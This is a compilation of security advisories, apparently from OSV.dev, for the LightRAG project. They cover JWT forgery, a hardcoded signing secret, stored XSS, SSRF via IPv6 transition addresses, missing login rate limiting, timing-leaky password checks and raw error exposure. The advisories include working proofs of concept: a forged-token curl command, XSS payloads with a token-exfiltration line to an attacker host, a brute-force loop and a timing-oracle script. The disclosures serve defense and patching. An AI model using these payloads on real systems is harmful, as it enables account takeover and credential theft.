curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 22, 2025

1.4.9.8 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

